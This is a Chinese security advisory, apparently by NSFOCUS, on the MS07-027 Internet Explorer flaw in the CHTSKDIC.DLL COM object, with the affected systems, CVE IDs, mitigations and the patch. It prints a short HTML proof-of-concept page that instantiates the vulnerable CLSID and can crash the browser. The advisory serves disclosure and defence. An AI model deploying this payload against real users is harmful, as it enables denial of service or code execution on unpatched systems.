安全研究
安全漏洞
Microsoft IE CHTSKDIC.DLL任意代码执行漏洞（MS07-027）
发布日期：2006-08-15
更新日期：2007-05-08
受影响系统：
Microsoft Internet Explorer 5.0.1 SP4描述：
- Microsoft Windows 2000 SP4
Microsoft Internet Explorer 6.0
- Microsoft Windows XP SP2
- Microsoft Windows Server 2003 SP2
- Microsoft Windows Server 2003 SP1
Microsoft Internet Explorer 6.0 SP1
- Microsoft Windows 2000 SP4
Microsoft Internet Explorer 7.0
- Microsoft Windows XP SP2
- Microsoft Windows Vista
- Microsoft Windows Server 2003 SP2
- Microsoft Windows Server 2003 SP1
BUGTRAQ ID: 19529
CVE(CAN) ID: CVE-2006-4193,CVE-2007-0942
Internet Explorer是微软发布的非常流行的WEB浏览器。
Internet Explorer在试图将CHTSKDIC.DLL（Microsoft IME）COM对象实例化为ActiveX控件时可能会破坏系统内存，导致拒绝服务或执行任意代码。
<*来源：nop （nop@xsec.org）
链接：http://marc.theaimsgroup.com/?l=bugtraq&m=115567188831307&w=2
http://secunia.com/advisories/23769
http://www.microsoft.com/technet/security/bulletin/ms07-027.mspx?pf=true
http://www.us-cert.gov/cas/techalerts/TA07-128A.html
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<!--
// Internet Explorer (CHTSKDIC.DLL) COM Object Instantiation Vulnerability
// tested XP SP2 CN
// http://www.xsec.org
// nop (nop#xsec.org)
// CLSID: {BE4191FB-59EF-4825-AEFC-109727951E42}
// Info: ImeSingleKanjiDict// ProgID: ID2
// InprocServer32: C:\WINDOWS\IME\CHTIME\APPLETS\CHTSKDIC.DLL
!-->
<html><body>
<object classid="CLSID:{BE4191FB-59EF-4825-AEFC-109727951E42}" ></object>
</body></html>
=============== CHTSKDIC.DLL.htm end ==================
建议：
临时解决方法：
如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：
* 将Internet Explorer配置为在Internet和本地Intranet安全区域中运行ActiveX控件之前进行提示。
* 将Internet和本地Intranet安全区域设置设为高”，以便在这些区域中运行ActiveX控件和活动脚本之前进行提示。
* 禁止在Internet Explorer中运行COM对象。
厂商补丁：
Microsoft
---------
Microsoft已经为此发布了一个安全公告（MS07-027）以及相应补丁:
MS07-027：Cumulative Security Update for Internet Explorer (931768)
链接：http://www.microsoft.com/technet/security/bulletin/ms07-027.mspx?pf=true
浏览次数：3528
严重程度：0（网友投票）
绿盟科技给您安全的保障